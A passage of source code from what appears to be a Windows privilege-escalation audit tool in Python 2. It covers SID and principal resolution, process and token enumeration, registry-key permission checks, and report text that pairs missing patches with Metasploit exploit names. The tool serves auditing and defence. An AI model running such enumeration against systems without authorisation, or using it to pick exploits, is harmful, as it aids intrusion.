117 | at_least_one_superseding_patch_applied = 1 118 | if self.verbose: 119 | print "[+] %s supersedes %s (and has been applied)" % (m.group(1), msno) 120 | return 1 121 | else: 122 | if self.verbose: 123 | print "[+] %s supersedes %s (and has NOT been patched)" % (m.group(1), msno) 124 | 125 | if not at_least_one_superseding_patch_applied: 126 | if depth == 0 and self.verbose: 127 | print "[+] VULNERABLE. %s has not been patched. There are superseding patches but none have been applied." % (msno) 128 | return 0 129 | else: 130 | if depth == 0 and self.verbose: 131 | print "[+] VULNERABLE. %s has not been patched and it has no superseding patches." % (msno) 132 | return 0 133 | -------------------------------------------------------------------------------- /wpc/principal.py: -------------------------------------------------------------------------------- 1 | import win32security 2 | import ntsecuritycon 3 | import _winreg 4 | import win32service 5 | import win32con 6 | import wpc.conf 7 | 8 | # These have sids, perhaps a domain 9 | class principal: 10 | def __init__(self, sid): 11 | self.name = None 12 | # self.info = None 13 | self.domain = None 14 | self.set_sid(sid) 15 | self.type = None 16 | self.sid_string = None 17 | self.trusted = None 18 | self.trusted_set = 0 19 | self.cant_resolve = 0 20 | self.privileges = None 21 | self.info = {} 22 | # self.info['sid'] = self.get_sid_string() 23 | # self.info['privileges'] = " ".join(self.get_privileges()) 24 | 25 | def set_info(self, info): 26 | self.info = info 27 | 28 | def add_info(self, h): 29 | for k in h.keys(): 30 | self.info[k] = h[k] 31 | 32 | def get_info(self): 33 | return self.info 34 | 35 | def set_sid(self, sid): 36 | self.sid = sid 37 | 38 | def get_remote_server(self): 39 | return wpc.conf.remote_server 40 | 41 | def get_sid(self): 42 | return self.sid 43 | 44 | def get_sid_string(self): 45 | if self.sid_string == None: 46 | self.sid_string = win32security.ConvertSidToStringSid(self.get_sid()) 47 | return self.sid_string 48 | 49 | def get_fq_name(self): 50 | if self.cant_resolve: 51 | return self.get_sid_string() 52 | else: 53 | return self.get_domain() + "\\" + self.get_name() 54 | 55 | def get_type(self): 56 | if self.type == None: 57 | self.get_name() # side effect sets type 58 | return self.type 59 | 60 | # def get_principal(self): 61 | #if self.__class__.__name__ == "principal": 62 | #return self 63 | #else: 64 | #return self.principal 65 | 66 | def get_domain(self): 67 | if self.domain == None: 68 | self.get_name() # side effect sets domain 69 | return self.domain 70 | 71 | def set_type(self, type): 72 | self.type = type 73 | 74 | def get_type_string(self): 75 | return self.resolve_type(self.get_type()) 76 | 77 | def resolve_type(self, type): 78 | return wpc.conf.sid_type[type] 79 | 80 | def is_group_type(self): 81 | return wpc.conf.sid_is_group_type[self.get_type()] 82 | 83 | def set_domain(self, domain): 84 | self.domain = domain 85 | 86 | def get_privileges(self): 87 | if not self.privileges is None: 88 | return self.privileges 89 | 90 | self.privileges = [] 91 | try: 92 | ph = wpc.conf.cache.LsaOpenPolicy(wpc.conf.remote_server, win32security.POLICY_VIEW_LOCAL_INFORMATION | win32security.POLICY_LOOKUP_NAMES) 93 | self.privileges = wpc.conf.cache.LsaEnumerateAccountRights(ph, self.get_sid()) 94 | except: 95 | pass 96 | 97 | return self.privileges 98 | 99 | def get_name(self): 100 | if self.name == None or self.get_type() == None: 101 | sid = self.get_sid() 102 | if sid == None: 103 | self.set_type('N/A') 104 | self.set_domain('[none]') 105 | self.name = '[none]' 106 | else: 107 | try: 108 | #print wpc.conf.cache.LookupAccountSid(self.get_remote_server(), self.get_sid()) 109 | self.name, domain, type = list(wpc.conf.cache.LookupAccountSid(self.get_remote_server(), self.get_sid())) 110 | except: 111 | self.cant_resolve = 1 112 | self.name, domain, type = self.get_sid_string(), "[unknown]", 8 113 | self.set_type(type) 114 | self.set_domain(domain) 115 | return self.name 116 | 117 | # def is_trusted(self): 118 | # for p in wpc.conf.trusted_principals: 119 | # if self.get_sid() == p.get_sid(): 120 | # return 1 121 | # return 0 122 | 123 | def is_trusted(self): 124 | # print "Testing if %s is trusted" % self.get_fq_name() 125 | if self.trusted_set: 126 | #print "Cache result returned for trust of %s: %s" % (self.get_fq_name(), self.trusted) 127 | return self.trusted 128 | 129 | # TODO optimize this. It's called a LOT! 130 | if self.is_group_type() and self.get_type() == 4: 131 | g = wpc.group.group(self.get_sid()) 132 | # Groups with zero members are trusted - i.e. not interesting 133 | if len(g.get_members()) == 0: 134 | self.trusted_set = 1 135 | self.trusted = 1 136 | #print "Ignoring empty group %s (type %s)" % (self.get_fq_name(), self.get_type()) 137 | return 1 138 | 139 | for p in wpc.conf.trusted_principals: 140 | # This also recurses through sub groups 141 | # print "Testing if %s is in %s" % (self.get_fq_name(), p.get_fq_name()) 142 | # print "[D] pincipal.is_trusted: %s is group? %s" % (p.get_fq_name(), p.is_group_type()) 143 | # print "[D] self.is_in_group(p): %s" % (self.is_in_group(p)) 144 | if p.is_group_type() and self.is_in_group(p): 145 | # print "Yes" 146 | self.trusted_set = 1 147 | self.trusted = 1 148 | # print "%s is trusted. Member of trusted group %s" % (self.get_fq_name(), p.get_fq_name()) 149 | return 1 150 | else: 151 | #print "No" 152 | # print "User type" 153 | if p.get_sid() == self.get_sid(): 154 | self.trusted_set = 1 155 | self.trusted = 1 156 | #print "%s is trusted. Is trusted user %s" % (self.get_fq_name(), p.get_fq_name()) 157 | return 1 158 | self.trusted_set = 1 159 | self.trusted = 0 160 | #print "%s is not trusted" % self.get_fq_name() 161 | return 0 162 | 163 | def is_in_group(self, group): 164 | # print "is_in_group called for %s, %s" % (self.get_fq_name(), group.get_name()) 165 | return wpc.conf.cache.is_in_group(self, group) 166 | 167 | -------------------------------------------------------------------------------- /wpc/process.py: -------------------------------------------------------------------------------- 1 | from wpc.file import file as File 2 | from wpc.sd import sd 3 | from wpc.token import token 4 | from wpc.thread import thread 5 | import win32api 6 | import win32con 7 | import win32process 8 | import win32security 9 | import wpc.utils 10 | import ctypes 11 | 12 | class THREADENTRY32(ctypes.Structure): 13 | _fields_ = [ 14 | ("dwSize", ctypes.c_ulong), 15 | ("cntUsage", ctypes.c_ulong), 16 | ("th32ThreadID", ctypes.c_ulong), 17 | ("th32OwnerProcessID", ctypes.c_ulong), 18 | ("tpBasePri", ctypes.c_ulong), 19 | ("tpDeltaPri", ctypes.c_ulong), 20 | ("dwFlags", ctypes.c_ulong) 21 | ] 22 | 23 | class process: 24 | def __init__(self, pid): 25 | self.pid = pid 26 | self.ph = None 27 | self.pth = None 28 | self.exe = None 29 | self.exe_path_dirty = None 30 | self.exe_path_clean = None 31 | self.wow64 = None 32 | self.mhs = None 33 | self.dlls = [] 34 | self.wts_name = None 35 | self.wts_session_id = None 36 | self.wts_sid = None 37 | self.token = None 38 | self.thread_ids = [] 39 | self.threads = [] 40 | self.short_name = "[none]" 41 | self.sd = None 42 | 43 | def get_pid(self): 44 | return self.pid 45 | 46 | def add_thread_id(self, tid): 47 | if not int(tid) in self.thread_ids: 48 | self.thread_ids.append(int(tid)) 49 | 50 | def add_thread(self, t): 51 | t.set_parent_process(self) 52 | self.threads.append(t) 53 | 54 | def get_thread_ids(self): 55 | if not self.thread_ids: 56 | TH32CS_SNAPTHREAD = 0x00000004 57 | 58 | CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot 59 | Thread32First = ctypes.windll.kernel32.Thread32First 60 | Thread32Next = ctypes.windll.kernel32.Thread32Next 61 | CloseHandle = ctypes.windll.kernel32.CloseHandle 62 | 63 | hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.get_pid()) 64 | te32 = THREADENTRY32() 65 | te32.dwSize = ctypes.sizeof(THREADENTRY32) 66 | if Thread32First(hThreadSnap, ctypes.byref(te32)) == win32con.FALSE: 67 | pass 68 | #print >> sys.stderr, "Failed getting first process." 69 | #return 70 | else: 71 | while True: 72 | # TODO can we just get thread info for a single process instead? 73 | # print "PID: %s, TID: %s" % (te32.th32OwnerProcessID, te32.th32ThreadID) 74 | if self.get_pid() == te32.th32OwnerProcessID: 75 | self.add_thread_id(te32.th32ThreadID) 76 | 77 | if Thread32Next(hThreadSnap, ctypes.byref(te32)) == win32con.FALSE: 78 | break 79 | CloseHandle(hThreadSnap) 80 | return sorted(self.thread_ids) 81 | 82 | def get_thread_count(self): 83 | return len(self.thread_ids) 84 | 85 | def get_tokens(self): 86 | self.token_handles = [] 87 | 88 | # Process Token 89 | tok = self.get_token() 90 | if tok: 91 | self.token_handles.append(tok) 92 | 93 | # Thread Tokens 94 | for t in self.get_threads(): 95 | tok = t.get_token() 96 | if tok: 97 | self.token_handles.append(tok) 98 | 99 | return self.token_handles 100 | 101 | def get_token_handles_int(self): 102 | self.token_handles_int = [] 103 | for t in self.get_tokens(): 104 | self.token_handles_int.append(t.get_th_int()) 105 | 106 | return self.token_handles_int 107 | 108 | def get_threads(self): 109 | if not self.threads: 110 | for t in self.get_thread_ids(): 111 | self.add_thread(thread(t)) 112 | return self.threads 113 | 114 | 115 | def set_wts_name(self, wts_name): 116 | self.wts_name = wts_name 117 | 118 | def set_short_name(self, n): 119 | self.short_name = n 120 | 121 | def get_short_name(self): 122 | return self.short_name 123 | 124 | def get_wts_session_id(self): 125 | return self.wts_session_id 126 | 127 | def set_wts_session_id(self, wts_session_id): 128 | self.wts_session_id = wts_session_id 129 | 130 | def get_wts_sid(self): 131 | return self.wts_sid 132 | 133 | def set_wts_sid(self, wts_sid): 134 | self.wts_sid = wts_sid 135 | 136 | def get_wts_name(self): 137 | return self.wts_name 138 | 139 | def get_sd(self): 140 | if not self.sd: 141 | try: 142 | secdesc = win32security.GetSecurityInfo(self.get_ph(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION) 143 | self.sd = sd('process', secdesc) 144 | except: 145 | pass 146 | return self.sd 147 | 148 | def get_mhs(self): 149 | if not self.mhs: 150 | if self.get_ph(): 151 | try: 152 | mhs = win32process.EnumProcessModules(self.get_ph()) 153 | self.mhs = list(mhs) 154 | except: 155 | pass 156 | return self.mhs 157 | 158 | def get_dlls(self): 159 | if self.dlls == []: 160 | if self.get_mhs(): 161 | for mh in self.get_mhs(): 162 | dll = win32process.GetModuleFileNameEx(self.get_ph(), mh) 163 | #print dll 164 | self.dlls.append(File(dll)) 165 | #dump_perms(dll, 'file', {'brief': 1}) 166 | return self.dlls 167 | 168 | def get_exe_path_clean(self): 169 | if not self.exe_path_clean: 170 | self.exe_path_clean = wpc.utils.get_exe_path_clean(self.get_exe_path_dirty()) 171 | if not self.exe_path_clean: 172 | self.exe_path_clean = self.get_exe_path_dirty() 173 | return self.exe_path_clean 174 | 175 | def get_exe_path_dirty(self): 176 | if not self.exe_path_dirty: 177 | if self.get_mhs(): 178 | self.exe_path_dirty = win32process.GetModuleFileNameEx(self.get_ph(), self.get_mhs().pop(0)) 179 | return self.exe_path_dirty 180 | 181 | def get_exe(self): 182 | if not self.exe: 183 | if self.get_exe_path_dirty(): 184 | self.exe = File(self.get_exe_path_clean()) 185 | return self.exe 186 | 187 | def get_ph(self): 188 | if not self.ph: 189 | try: 190 | # PROCESS_ALL_ACCESS needed to get security descriptor 191 | self.ph = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, self.get_pid()) 192 | #print "OpenProcess with PROCESS_ALL_ACCESS: Success" 193 | except: 194 | try: 195 | # PROCESS_VM_READ is required to list modules (DLLs, EXE) 196 | self.ph = win32api.OpenProcess(win32con.PROCESS_VM_READ | win32con.PROCESS_QUERY_INFORMATION, False, self.get_pid()) 197 | #print "OpenProcess with VM_READ and PROCESS_QUERY_INFORMATION: Success" 198 | except: 199 | #print "OpenProcess with VM_READ and PROCESS_QUERY_INFORMATION: Failed" 200 | try: 201 | # We can still get some info without PROCESS_VM_READ 202 | self.ph = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, self.get_pid()) 203 | #print "OpenProcess with PROCESS_QUERY_INFORMATION: Success" 204 | except: 205 | #print "OpenProcess with PROCESS_QUERY_INFORMATION: Failed" 206 | try: 207 | # If we have to resort to using PROCESS_QUERY_LIMITED_INFORMATION, the process is protected. 208 | # There's no point trying PROCESS_VM_READ 209 | # Ignore pydev warning. We define this at runtime because win32con is out of date. 210 | self.ph = win32api.OpenProcess(win32con.PROCESS_QUERY_LIMITED_INFORMATION, False, self.get_pid()) 211 | #print "OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION: Success" 212 | except: 213 | #print "OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION: Failed" 214 | self.ph = None 215 | return self.ph 216 | 217 | def get_pth(self): 218 | if not self.pth: 219 | try: 220 | self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.MAXIMUM_ALLOWED) 221 | except: 222 | try: 223 | self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_READ) 224 | except: 225 | try: 226 | self.pth = win32security.OpenProcessToken(self.get_ph(), win32con.TOKEN_QUERY) 227 | #print "OpenProcessToken with TOKEN_QUERY: Failed" 228 | except: 229 | pass 230 | return self.pth 231 | 232 | def is_wow64(self): 233 | if not self.wow64 and self.get_ph(): 234 | self.wow64 = win32process.IsWow64Process(self.get_ph()) 235 | return self.wow64 236 | 237 | def get_token(self): 238 | if not self.token: 239 | if self.get_pth(): 240 | self.token = token(self.get_pth()) 241 | return self.token 242 | 243 | def as_text(self): 244 | t = '' 245 | t += "-------------------------------------------------\n" 246 | t += "PID: " + str(self.get_pid()) + "\n" 247 | t += "Short Name: " + str(self.get_short_name()) + "\n" 248 | t += "WTS Name: " + str(self.get_wts_name()) + "\n" 249 | t += "WTS Session ID: " + str(self.get_wts_session_id()) + "\n" 250 | if self.get_wts_sid(): 251 | t += "WTS Sid: " + str(self.get_wts_sid().get_fq_name()) + "\n" 252 | else: 253 | t += "WTS Sid: None\n" 254 | t += "Access Token Count: %s\n" % len(self.get_token_handles_int()) 255 | t += "Access Token Handles: %s\n" % ",".join(str(x) for x in self.get_token_handles_int()) 256 | t += "Thread Count: %s\n" % self.get_thread_count() 257 | t += "Thread IDs: %s\n" % ",".join(str(x) for x in self.get_thread_ids()) 258 | if self.get_ph(): 259 | t += "Is WOW64: " + str(self.is_wow64()) + "\n" 260 | if self.get_exe(): 261 | t += "Exe: " + str(self.get_exe().get_name()) + "\n" 262 | else: 263 | t += "Exe: [unknown]\n" 264 | t += "Modules:\n" 265 | for dll in self.get_dlls(): 266 | t += "\t\t" + dll.get_name() + "\n" 267 | 268 | t += "\nProcess Security Descriptor:\n" 269 | if self.get_sd(): 270 | t += self.get_sd().as_text() 271 | 272 | t += "\nProcess Access Token:\n" 273 | if self.get_token(): 274 | t += self.get_token().as_text() 275 | else: 276 | t += "[unknown]\n" 277 | 278 | for td in self.get_threads(): 279 | #thread_obj = thread(tid) 280 | #print "Dumping thread object" 281 | ttext = td.as_text() 282 | #print "ttext: %s" % ttext 283 | t += ttext 284 | t += "\n" 285 | return t 286 | -------------------------------------------------------------------------------- /wpc/processes.py: -------------------------------------------------------------------------------- 1 | from wpc.principal import principal 2 | from wpc.process import process 3 | import win32process 4 | import win32ts 5 | import wpc.conf 6 | import ctypes 7 | import win32con 8 | 9 | class PROCESSENTRY32(ctypes.Structure): 10 | _fields_ = [("dwSize", ctypes.c_ulong), 11 | ("cntUsage", ctypes.c_ulong), 12 | ("th32ProcessID", ctypes.c_ulong), 13 | ("th32DefaultHeapID", ctypes.c_ulong), 14 | ("th32ModuleID", ctypes.c_ulong), 15 | ("cntThreads", ctypes.c_ulong), 16 | ("th32ParentProcessID", ctypes.c_ulong), 17 | ("pcPriClassBase", ctypes.c_ulong), 18 | ("dwFlags", ctypes.c_ulong), 19 | ("szExeFile", ctypes.c_char * 260)] 20 | 21 | class processes: 22 | def __init__(self): 23 | self.processes = [] 24 | 25 | def add(self, p): 26 | self.processes.append(p) 27 | 28 | def get_all(self): 29 | if self.processes == []: 30 | pids = win32process.EnumProcesses() 31 | try: 32 | proc_infos = win32ts.WTSEnumerateProcesses(wpc.conf.remote_server, 1, 0) 33 | except: 34 | proc_infos = [] 35 | pass 36 | 37 | for pid in pids: 38 | p = process(pid) 39 | self.add(p) 40 | 41 | for proc_info in proc_infos: 42 | pid = proc_info[1] 43 | p = self.find_by_pid(pid) 44 | if p: # might fail to find process - race condition 45 | p.set_wts_session_id(proc_info[0]) 46 | p.set_wts_name(proc_info[2]) 47 | if proc_info[3]: # sometimes None 48 | p.set_wts_sid(principal(proc_info[3])) 49 | 50 | TH32CS_SNAPPROCESS = 0x00000002 51 | 52 | # See http://msdn2.microsoft.com/en-us/library/ms686701.aspx 53 | CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot 54 | Process32First = ctypes.windll.kernel32.Process32First 55 | Process32Next = ctypes.windll.kernel32.Process32Next 56 | Thread32First = ctypes.windll.kernel32.Thread32First 57 | Thread32Next = ctypes.windll.kernel32.Thread32Next 58 | CloseHandle = ctypes.windll.kernel32.CloseHandle 59 | 60 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 61 | pe32 = PROCESSENTRY32() 62 | pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) 63 | if Process32First(hProcessSnap, ctypes.byref(pe32)) == win32con.FALSE: 64 | pass 65 | #print >> sys.stderr, "Failed getting first process." 66 | #return 67 | else: 68 | while True: 69 | p = self.find_by_pid(pe32.th32ProcessID) 70 | if p: # might fail to find process - race condition 71 | p.set_short_name(pe32.szExeFile) 72 | 73 | if Process32Next(hProcessSnap, ctypes.byref(pe32)) == win32con.FALSE: 74 | break 75 | CloseHandle(hProcessSnap) 76 | 77 | return self.processes 78 | 79 | def find_by_pid(self, pid): 80 | for p in self.processes: 81 | if p.pid == pid: 82 | return p 83 | return None -------------------------------------------------------------------------------- /wpc/regkey.py: -------------------------------------------------------------------------------- 1 | from wpc.report.issueAcl import issueAcl 2 | from wpc.sd import sd 3 | import ntsecuritycon 4 | import win32api 5 | import win32con 6 | import win32security 7 | import wpc.conf 8 | 9 | 10 | # regkeys or directories 11 | class regkey: 12 | def __init__(self, key_string): 13 | # print "[D] Created regkey obj for " + name 14 | self.sd = None 15 | self.keyh = None 16 | self.hive = None 17 | self.path = None 18 | self.set_name(key_string) 19 | self.parent_key = None 20 | 21 | def set_name(self, key_string): 22 | parts = key_string.split("\\") 23 | if parts[0] == "HKLM": 24 | parts[0] = "HKEY_LOCAL_MACHINE" 25 | self.set_hive(parts[0]) 26 | self.set_path("\\".join(parts[1:])) 27 | 28 | def get_hive(self): 29 | return self.hive 30 | 31 | def set_path(self, path): 32 | if path == '\\': 33 | path = '' 34 | self.path = path 35 | 36 | def get_path(self): 37 | return self.path 38 | 39 | def set_hive(self, hive): 40 | self.hive = hive 41 | 42 | def as_text(self): 43 | s = "Registry key: " + self.get_name() + "\n" 44 | if self.get_sd(): 45 | s += self.get_sd().as_text() 46 | else: 47 | s += "[ERROR]" 48 | return s 49 | 50 | def get_parent_key(self): 51 | #print "get_parent_key called for: " + self.get_name() 52 | if not self.parent_key: 53 | mypath = self.get_name() 54 | # Check there is a parent_key dir - e.g. there isn't for "HKEY_LOCAL_MACHINE" 55 | if not mypath.find("\\") == -1: 56 | # check if only slash is at end of string: "HKEY_LOCAL_MACHINE\" 57 | if mypath.find("\\") == len(mypath) - 1: 58 | self.parent_key = None 59 | else: 60 | parent_keypath = "\\".join(mypath.split("\\")[0:-1]) 61 | # We frequently refer to parent_key dirs, so must cache and work we do 62 | self.parent_key = wpc.conf.cache.regkey(parent_keypath) 63 | # print self.parent_key 64 | else: 65 | # print "[D] no parent_key dir" 66 | self.parent_key = None 67 | #if self.parent_key: 68 | #print "get_parent_key returning: " + str(self.parent_key.get_name()) 69 | #else: 70 | #print "get_parent_key returning: None" 71 | return self.parent_key 72 | 73 | def get_issue_acl_for_perms(self, perms): 74 | if self.get_sd(): 75 | al = self.get_sd().get_acelist().get_untrusted().get_aces_with_perms(perms).get_aces() 76 | if al == []: 77 | return None 78 | else: 79 | return issueAcl(self.get_name(), al) 80 | 81 | def dump(self): 82 | print self.as_text() 83 | 84 | def get_all_subkeys(self): 85 | for key in self.get_subkeys(): 86 | yield key 87 | for k in key.get_all_subkeys(): 88 | yield k 89 | 90 | def get_subkeys(self): 91 | subkey_objects = [] 92 | try: 93 | subkeys = win32api.RegEnumKeyEx(self.get_keyh()) 94 | for subkey in subkeys: 95 | subkey_objects.append(regkey(self.get_name() + "\\" + subkey[0])) 96 | except: 97 | pass 98 | return subkey_objects 99 | 100 | def get_value(self, v): 101 | try: 102 | (data, type) = win32api.RegQueryValueEx(self.get_keyh(), v) 103 | return data 104 | except: 105 | return None 106 | 107 | def get_values(self): 108 | try: 109 | values = [] 110 | (subkey_count, value_count, mod_time) = win32api.RegQueryInfoKey(self.get_keyh()) 111 | for i in range(0, value_count): 112 | (s, o, t) = win32api.RegEnumValue(self.get_keyh(), i) 113 | values.append(s) 114 | return values 115 | except: 116 | return [] 117 | 118 | def get_name(self): 119 | if self.path == '': 120 | return self.hive 121 | return self.hive + "\\" + self.path 122 | 123 | def get_keyh(self): 124 | if not self.keyh: 125 | try: 126 | # self.keyh = win32api.RegOpenKeyEx(getattr(win32con, self.get_hive()), self.get_path(), 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ) 127 | self.keyh = win32api.RegOpenKeyEx(getattr(win32con, self.get_hive()), self.get_path(), 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | ntsecuritycon.READ_CONTROL) 128 | except: 129 | pass 130 | # print "Can't open: " + self.get_name() 131 | return self.keyh 132 | 133 | def is_present(self): 134 | return self.get_keyh() 135 | 136 | def get_sd(self): 137 | if self.sd is None: 138 | sd = None 139 | try: 140 | sd = win32api.RegGetKeySecurity(self.get_keyh(), win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION) 141 | self.sd = wpc.conf.cache.sd('regkey', sd) 142 | #print "[D]: Got security descriptor for " + self.get_name() 143 | except: 144 | # print "WARNING: Can't get security descriptor for regkey: " + self.get_name() 145 | self.sd = None 146 | 147 | return self.sd 148 | -------------------------------------------------------------------------------- /wpc/report/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /wpc/report/fileAcl.py: -------------------------------------------------------------------------------- 1 | # report.issue 2 | # report.fileAcl 3 | # report.serviceFileAcl 4 | # report.serviceAcl 5 | # report.shareAcl 6 | # report.dirAcl? 7 | # report.registryKeyAcl 8 | 9 | from wpc.acelist import acelist 10 | 11 | 12 | # This is a bit like a file object, but we may be reporting only some of the ACEs from the DACL 13 | class fileAcl: 14 | def __init__(self, f, a): 15 | self.acelist = None 16 | self.filename = None 17 | self.set_filename(f) 18 | self.set_acelist(a) 19 | 20 | def set_acelist(self, aces): 21 | self.acelist = acelist() 22 | for ace in aces: 23 | self.acelist.add(ace) 24 | 25 | def set_filename(self, f): 26 | self.filename = f 27 | 28 | def get_filename(self): 29 | return self.filename 30 | 31 | def get_acelist(self): 32 | return self.acelist 33 | 34 | def as_text(self): 35 | t = '' 36 | for ace in self.get_acelist().get_aces(): 37 | t += self.get_filename() + ":\n " + ace.as_text() + "\n" 38 | return t 39 | 40 | # TODO owner? -------------------------------------------------------------------------------- /wpc/report/issue.py: -------------------------------------------------------------------------------- 1 | import wpc.conf 2 | 3 | import xml.etree.cElementTree as etree 4 | 5 | class issue: 6 | def __init__(self, identifier): 7 | self.id = identifier 8 | self.supporting_data = {} 9 | 10 | def add_supporting_data(self, k, v): 11 | #print "ADD called" 12 | if not k in self.supporting_data.keys(): 13 | self.supporting_data[k] = [] 14 | self.supporting_data[k].append(v) 15 | 16 | def get_id(self): 17 | return self.id 18 | 19 | def render_supporting_data(self, data_name): 20 | # TODO: Also stash raw data in the report object. XSLTs could then present differently. 21 | # expect an array of issue.fileAcl type for now 22 | d = etree.Element('supporting_data') 23 | if data_name == 'principals_with_service_perm': 24 | for data in self.get_supporting_data(data_name): 25 | s = data[0] 26 | p = data[1] 27 | etree.SubElement(d, 'data').text = " %s (%s) which runs as %s has permission granted for: %s\n" % (s.get_description(), s.get_name(), s.get_run_as(), p.get_fq_name()) 28 | 29 | elif data_name == 'principals_with_service_ownership': 30 | for data in self.get_supporting_data(data_name): 31 | s = data[0] 32 | p = data[1] 33 | etree.SubElement(d, 'data').text = " %s (%s) which runs as %s is owned by %s\n" % (s.get_description(), s.get_name(), s.get_run_as(), p.get_fq_name()) 34 | 35 | elif data_name == 'user_reg_keys': 36 | for data in self.get_supporting_data(data_name): 37 | u = data[0] 38 | r = data[1] 39 | value_name = data[2] 40 | value_data = data[3] 41 | u_name = "UNKNOWN" 42 | if u: 43 | u_name = u.get_fq_name() 44 | etree.SubElement(d, 'data').text = "User: %s, Reg key: %s\%s, Value: %s" % (u_name, r.get_name(), value_name, value_data) 45 | 46 | elif data_name == 'reg_key_value': 47 | for data in self.get_supporting_data(data_name): 48 | r = data[0] 49 | value_name = data[1] 50 | value_data = data[2] 51 | etree.SubElement(d, 'data').text = "Reg key: %s\%s, Value: %s" % (r.get_name(), value_name, value_data) 52 | 53 | elif data_name == 'exploit_list': 54 | for data in self.get_supporting_data(data_name): 55 | e = data[0] 56 | etree.SubElement(d, 'data').text = "Missing patch %s: Metasploit exploit \"%s\" (%s)" % (e.get_msno(), e.get_title(), e.get_info("Metasploit Exploit Name")) 57 | 58 | elif data_name == 'dc_info': 59 | for data in self.get_supporting_data(data_name): 60 | dc_info = data[0] 61 | etree.SubElement(d, 'data').text = "Domain Name: %s" % (dc_info["DomainName"]) 62 | 63 | elif data_name == 'writable_dirs': 64 | for data in self.get_supporting_data(data_name): 65 | f = data[0] 66 | a = data[1] 67 | etree.SubElement(d, 'data').text = " File %s has weak permissions: %s\n" % (f.get_name(), a.as_text()) 68 | 69 | elif data_name == 'writable_progs': 70 | for data in self.get_supporting_data(data_name): 71 | f = data[0] 72 | a = data[1] 73 | etree.SubElement(d, 'data').text = " File %s has weak permissions: %s\n" % (f.get_name(), a.as_text()) 74 | 75 | elif data_name == 'writable_files': 76 | for data in self.get_supporting_data(data_name): 77 | f = data[0] 78 | a = data[1] 79 | etree.SubElement(d, 'data').text = " File %s has weak permissions: %s\n" % (f.get_name(), a.as_text()) 80 | 81 | elif data_name == 'service_exe_write_perms': 82 | for data in self.get_supporting_data(data_name): 83 | s = data[0] 84 | f = data[1] 85 | etree.SubElement(d, 'data').text = " %s (%s) runs the following program as %s:\n" % (s.get_description(), s.get_name(), s.get_run_as()) 86 | etree.SubElement(d, 'data').text = " %s\n" % (f.as_text()) 87 | 88 | elif data_name == 'service_exe_owner': 89 | for data in self.get_supporting_data(data_name): 90 | s = data[0] 91 | etree.SubElement(d, 'data').text = " %s (%s) runs the following program '%s' as %s. Program is owned by untrusted user %s:\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as(), s.get_exe_file().get_sd().get_owner().get_fq_name()) 92 | 93 | elif data_name == 'file_untrusted_ownership': 94 | for data in self.get_supporting_data(data_name): 95 | s = data[0] 96 | etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s. Program owned by %s\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as(), s.get_exe_file().get_sd().get_owner().get_fq_name()) 97 | 98 | elif data_name == 'service_exe_parent_dir_untrusted_ownership': 99 | for data in self.get_supporting_data(data_name): 100 | s = data[0] 101 | f = data[1] 102 | etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s. Parent directory %s is owned by %s\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as(), f.get_name(), f.get_sd().get_owner().get_fq_name()) 103 | 104 | elif data_name == 'service_exe_file_parent_write_perms' or data_name == 'service_exe_parent_grandparent_write_perms': 105 | for data in self.get_supporting_data(data_name): 106 | s = data[0] 107 | f = data[1] 108 | fp = data[2] 109 | etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as()) 110 | etree.SubElement(d, 'data').text = " %s\n" % (f.as_text()) 111 | etree.SubElement(d, 'data').text = " %s\n" % (fp.as_text()) 112 | 113 | elif data_name == 'service_exe_parent_dir_perms': 114 | for data in self.get_supporting_data(data_name): 115 | s = data[0] 116 | f = data[1] 117 | etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as()) 118 | etree.SubElement(d, 'data').text = " %s\n" % (f.as_text()) 119 | 120 | elif data_name == 'service_exe_regkey_untrusted_ownership': 121 | for data in self.get_supporting_data(data_name): 122 | s = data[0] 123 | r = data[1] 124 | etree.SubElement(d, 'data').text = " %s (%s) uses registry key %s, owned by %s" % (s.get_description(), s.get_name(), r.get_name(), r.get_sd().get_owner().get_fq_name()) 125 | 126 | elif data_name == 'regkey_untrusted_ownership': 127 | for data in self.get_supporting_data(data_name): 128 | r = data[0] 129 | etree.SubElement(d, 'data').text = "Registry key %s is owned by %s" % (r.get_name(), r.get_sd().get_owner().get_fq_name()) 130 | 131 | elif data_name == 'service_reg_perms': 132 | for data in self.get_supporting_data(data_name): 133 | s = data[0] 134 | a = data[1] 135 | etree.SubElement(d, 'data').text = " %s (%s) uses registry key %s:\n" % (s.get_description(), s.get_name(), a.get_name()) 136 | etree.SubElement(d, 'data').text = " %s\n" % (a.as_text()) 137 | 138 | elif data_name == 'regkey_perms': 139 | for data in self.get_supporting_data(data_name): 140 | r = data[0] 141 | a = data[1] 142 | etree.SubElement(d, 'data').text = "Registry key %s has permissions:\n" % (r.get_name()) 143 | etree.SubElement(d, 'data').text = " %s\n" % (a.as_text()) 144 | 145 | elif data_name == 'service_info': 146 | for data in self.get_supporting_data(data_name): 147 